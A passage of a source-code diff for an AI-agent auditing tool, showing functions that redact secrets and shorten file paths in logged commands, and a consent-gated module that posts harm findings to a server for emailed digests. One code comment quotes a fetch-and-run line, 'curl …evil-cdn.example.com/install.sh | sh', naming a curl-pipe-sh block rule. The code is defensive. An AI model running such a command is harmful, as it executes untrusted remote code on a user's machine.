+ let out = input;
221
+ for (const [pattern, label] of SECRET_PATTERNS) {
222
+ const global = new RegExp(pattern.source, pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`);
223
+ out = out.replace(global, `[REDACTED: ${label}]`);
224
+ }
225
+ return out;
226
+ }
227
+
228
+ /**
229
+ * Replace absolute paths with `~/…/<basename>`.
230
+ *
231
+ * The home directory is resolved rather than assumed, and a path outside it is
232
+ * shortened too — `/etc/…/shadow`, `/var/…/secrets.yml` — because "not under
233
+ * home" is not the same as "safe to send", and a build agent's checkout lives
234
+ * under `/build` as often as anywhere.
235
+ */
236
+ export function shortenPaths(input: string, home = homedir()): string {
237
+ // Normalised ONCE, not per match: `startsWith` against a home carrying a
238
+ // trailing slash fails for the home directory itself (`/home/u` does not start
239
+ // with `/home/u/`), which silently turned off home detection for the one path
240
+ // that most needed it.
241
+ const homeRoot = home.replace(/\/+$/, "");
242
+ return input.replace(ABSOLUTE_PATH_RE, (match, offset: number, whole: string) => {
243
+ // Kernel/device paths are the same on every machine and identify nobody.
244
+ if (PUBLIC_PATH_ROOTS.some((root) => match.startsWith(root))) return match;
245
+
246
+ // A URL's HOST is not a directory, and it was being deleted as one.
247
+ //
248
+ // `curl https://evil-cdn.example.com/install.sh | sh` came out as
249
+ // `curl https:/…/install.sh` — the domain is the entire security decision
250
+ // in a `block-curl-pipe-sh` finding, and it was the one token removed. The
251
+ // match begins at the second slash of `://`, so the scheme is checked
252
+ // behind it and the host kept while the path is still shortened.
253
+ if (offset > 0 && whole[offset - 1] === "/" && /[a-z][a-z0-9+.\-]*:$/i.test(whole.slice(0, offset - 1))) {
254
+ const urlSegments = match.split("/").filter(Boolean);
255
+ if (urlSegments.length <= 1) return match;
256
+ const host = urlSegments[0];
257
+ const leaf = urlSegments[urlSegments.length - 1];
258
+ const elided = urlSegments.length > 2 ? "/…" : "";
259
+ return `/${host}${elided}/${leaf}${match.endsWith("/") ? "/" : ""}`;
260
+ }
261
+ const trailingSlash = match.endsWith("/");
262
+ const segments = match.split("/").filter(Boolean);
263
+ if (segments.length === 0) return match;
264
+ const basename = segments[segments.length - 1];
265
+ const kept = segments.slice(
266
+ Math.max(0, segments.length - 1 - KEPT_PARENT_SEGMENTS),
267
+ segments.length - 1,
268
+ );
269
+ // `/home/u2` starts with `/home/u` as a string and is a different directory,
270
+ // so the boundary is checked rather than the prefix alone.
271
+ const matchRoot = match.replace(/\/+$/, "");
272
+ const underHome =
273
+ homeRoot.length > 0 && (matchRoot === homeRoot || matchRoot.startsWith(`${homeRoot}/`));
274
+
275
+ // The home directory ITSELF is `~`, and nothing more.
276
+ //
277
+ // Without this, `/home/sidd` shortened to `~/…/sidd` — the username kept as
278
+ // the basename, immediately after the `~` whose entire job is to stand in
279
+ // for it. The one path guaranteed to name a person was the one the redactor
280
+ // spelled out, and it shipped to the server and into the digest. `~/` for a
281
+ // trailing slash, so `cd /home/sidd/` still reads as a directory.
282
+ if (matchRoot === homeRoot && homeRoot.length > 0) {
283
+ return trailingSlash ? "~/" : "~";
284
+ }
285
+ const root = underHome ? "~" : "";
286
+ // `…` rather than `...` so the elision cannot be mistaken for a relative
287
+ // path component, and reads as one glyph in a monospace digest.
288
+ const middle = segments.length - kept.length - 1 > 0 ? "/…" : "";
289
+ const tail = [...kept, basename].join("/");
290
+ return `${root}${middle}/${tail}${trailingSlash ? "/" : ""}`;
291
+ });
292
+ }
293
+
294
+ /**
295
+ * Full pipeline: mask, shorten, collapse whitespace, cap.
296
+ *
297
+ * Whitespace is collapsed because a heredoc or a multi-line command reaches the
298
+ * digest as one row, and a raw newline there breaks the plain-text layout while
299
+ * saying nothing the single line does not.
300
+ */
301
+ export function redactExample(input: string, home = homedir()): string {
302
+ // Assignment masking runs LAST of the three, so the two pattern-based passes
303
+ // get first refusal on anything they can name precisely. A vendor prefix
304
+ // yields "[REDACTED: Anthropic API key]"; falling through to this one would
305
+ // have said only "assigned secret", which is true but less useful to read.
306
+ const masked = maskAssignedSecrets(maskTruncatedSecret(maskSecrets(input)));
307
+ const shortened = shortenPaths(masked, home);
308
+ const collapsed = shortened.replace(/\s+/g, " ").trim();
309
+ return collapsed.length > REDACTED_EXAMPLE_MAX_CHARS
310
+ ? `${collapsed.slice(0, REDACTED_EXAMPLE_MAX_CHARS - 1)}…`
311
+ : collapsed;
312
+ }
@@ -0,0 +1,167 @@
1
+ /**
2
+ * The side effect a scheduled audit has that no other audit does: telling the
3
+ * api-server what it found, so a harm digest can be mailed.
4
+ *
5
+ * Separated from `harm-report.ts` on purpose. That module is pure — result in,
6
+ * payload out — and is where the windowing rules live and are tested. This one
7
+ * is the IO: read config, read session, refresh, POST, persist the watermark. It
8
+ * is the part that can fail in ways that must never matter.
9
+ *
10
+ * ## Nothing here may break a scan
11
+ *
12
+ * By the time this runs the scan has already completed and its result is already
13
+ * on disk. Every failure below therefore returns rather than throws, and the
14
+ * caller reports the exit code of the SCAN, not of the report. A machine whose
15
+ * token expired, whose network is down, or whose api-server is having a bad day
16
+ * must keep auditing itself locally and keep showing results on its own
17
+ * dashboard — the local feature does not depend on the remote one, and a person
18
+ * who never enabled emailed reports must never be able to tell this code exists.
19
+ *
20
+ * ## Why the CHILD does this and not the daemon
21
+ *
22
+ * Refresh rotation is theft-detecting: presenting a spent refresh token revokes
23
+ * every session the user has. The dashboard already needed in-process dedup to
24
+ * avoid self-inflicting that. If the daemon also held and refreshed the token,
25
+ * that dedup would have to work across processes, and losing the race logs the
26
+ * user out of everything with no way to tell why. Running here keeps the token
27
+ * inside the audit lock, which already serialises every entry point, so only one
28
+ * process can hold it at a time.
29
+ */
30
+ import { getValidAccessToken } from "../../lib/auth/auth-store";
31
+ import { AuthApiError, submitAuditReport } from "../../lib/auth/api-server-client";
32
+ import { readConfig } from "../hooks/fp-config";
33
+ import { buildHarmReport } from "./harm-report";
34
+ import {
35
+ ensureMachineIdentity,
36
+ machineLabel,
37
+ recordReportWatermark,
38
+ } from "./machine-store";
39
+ import type { AuditResult } from "./types";
40
+
41
+ /** What happened, for the one line the scheduled run prints. */
42
+ export type HarmReportOutcome =
43
+ | { kind: "disabled" }
44
+ | { kind: "consent-required" }
45
+ | { kind: "signed-out" }
46
+ | { kind: "sent"; hits: number }
47
+ | { kind: "held"; hits: number; reason: string }
48
+ | { kind: "failed"; error: string };
49
+
50
+ /**
51
+ * Report this scan's harmful findings, if the user asked for that.
52
+ *
53
+ * Returns an outcome rather than a boolean so the caller can say something
54
+ * truthful. "held" in particular is not a failure — a machine below the
55
+ * threshold, or inside its cooldown, is working exactly as intended, and a line
56
+ * that called that an error would train people to ignore the line.
57
+ */
58
+ export async function reportHarm(result: AuditResult): Promise<HarmReportOutcome> {
59
+ // ONE switch. `auto` means "scan on a timer AND tell me", because the reason
60
+ // to put a scan on a timer is to be told — a machine scanning quietly with
61
+ // nothing to report to is a feature that looks on and does nothing visible.
62
+ let auto = false;
63
+ let consentedAt: number | undefined;
64
+ let intervalDays = 7;
65
+ try {
66
+ const config = readConfig();
67
+ auto = config.audit.auto;
68
+ consentedAt = config.audit.reportsConsentedAt;
69
+ // Also the width of a FIRST report's window, so a new machine's opening
70
+ // digest covers the same period every later one will.
71
+ intervalDays = config.audit.intervalDays;
72
+ } catch {
73
+ // An unreadable config reads as off — the direction that sends nothing.
74
+ return { kind: "disabled" };
75
+ }
76
+ if (!auto) return { kind: "disabled" };
77
+
78
+ // `auto` alone is not consent to SEND, on a machine that set it before this
79
+ // existed. Through 1.0.0 that key meant "scan locally on a timer" — no
80
+ // account, no network, and the toggle that wrote it said so. Sending is
81
+ // gated on the separate stamp every current opt-in path writes, so a
82
+ // machine upgrading into this release keeps scanning and mails nothing until
83
+ // a person opts in again and sees what that sends. See `audit.reportsConsentedAt`.
84
+ if (consentedAt === undefined) return { kind: "consent-required" };
85
+
86
+ const auth = await getValidAccessToken();
87
+ if (!auth) {
88
+ // Expired, revoked, or signed out. NOT an error and NOT a reason to stop
89
+ // scheduling: auth gates setting the timer up, never the machine's ongoing
90
+ // work. The scan already succeeded and its result is on the local
91
+ // dashboard; only the digest is lost, and the remedy needs a human present
92
+ // anyway. A refresh token quietly expiring must never switch off a
93
+ // background feature somebody configured months ago.
94
+ return { kind: "signed-out" };
95
+ }
96
+
97
+ let identity: ReturnType<typeof ensureMachineIdentity>;
98
+ try {
99
+ identity = ensureMachineIdentity();
100
+ } catch (err) {
101
+ return { kind: "failed", error: err instanceof Error ? err.message : String(err) };
102
+ }
103
+
104
+ const report = buildHarmReport(result, identity.last_reported_at, intervalDays);
105
+ const hits = report.harmful.reduce((n, p) => n + p.hits, 0);
106
+
107
+ try {
108
+ const res = await submitAuditReport(auth.access_token, {
109
+ machine_id: identity.machine_id,
110
+ label: machineLabel(),
111
+ platform: process.platform,
112
+ window_from: report.window_from,
113
+ window_to: report.window_to,
114
+ harmful: report.harmful,
115
+ });
116
+
117
+ // Persist whatever the server says the next window starts at, INCLUDING when
118
+ // nothing was mailed. Its answer already accounts for that: a held or failed
119
+ // digest leaves the watermark where it was, so writing the value back is how
120
+ // this machine inherits that decision instead of re-deriving it and getting
121
+ // it subtly wrong.
122
+ try {
123
+ recordReportWatermark(res.next_window_from);
124
+ } catch {
125
+ // A watermark that did not persist means the next report re-covers this
126
+ // window. Duplicated findings, never missing ones — and the server's
127
+ // cooldown bounds how often that can turn into an email.
128
+ }
129
+
130
+ return res.emailed
131
+ ? { kind: "sent", hits }
132
+ : { kind: "held", hits, reason: res.reason ?? "not_sent" };
133
+ } catch (err) {
134
+ // A 401 here means the session died between `getValidAccessToken` and this
135
+ // call — rare, and indistinguishable from any other failure as far as this
136
+ // run is concerned. The next scheduled run will re-check and report
137
+ // signed-out properly.
138
+ const error =
139
+ err instanceof AuthApiError
140
+ ? `${err.code}: ${err.message}`
141
+ : err instanceof Error
142
+ ? err.message
143
+ : String(err);
144
+ return { kind: "failed", error };
145
+ }
146
+ }
147
+
148
+ /** One line for the scheduled run's stdout/stderr. */
149
+ export function describeOutcome(outcome: HarmReportOutcome): string | null {
150
+ switch (outcome.kind) {
151
+ case "disabled":
152
+ return null; // Say nothing at all to the majority who never opted in.
153
+ case "consent-required":
154
+ return "failproofai: scheduled scans are on, but emailing what they find needs a fresh opt-in — run `failproofai audit --schedule` (or visit /settings) to turn digests on";
155
+ case "signed-out":
156
+ // Names the two places that can actually fix it. It used to say "sign in
157
+ // from the audit page", which stopped being true when this release moved
158
+ // that dialog behind "invite a friend".
159
+ return "failproofai: emailed reports are on but this machine is signed out — run `failproofai audit --schedule` or visit /settings to resume them";
160
+ case "sent":
161
+ return `failproofai: emailed a harm digest (${outcome.hits} finding${outcome.hits === 1 ? "" : "s"})`;
162
+ case "held":
163
+ return `failproofai: ${outcome.hits} finding${outcome.hits === 1 ? "" : "s"} reported, no email (${outcome.reason})`;
164
+ case "failed":
165
+ return `failproofai: could not send the harm report: ${outcome.error}`;
166
+ }
167
+ }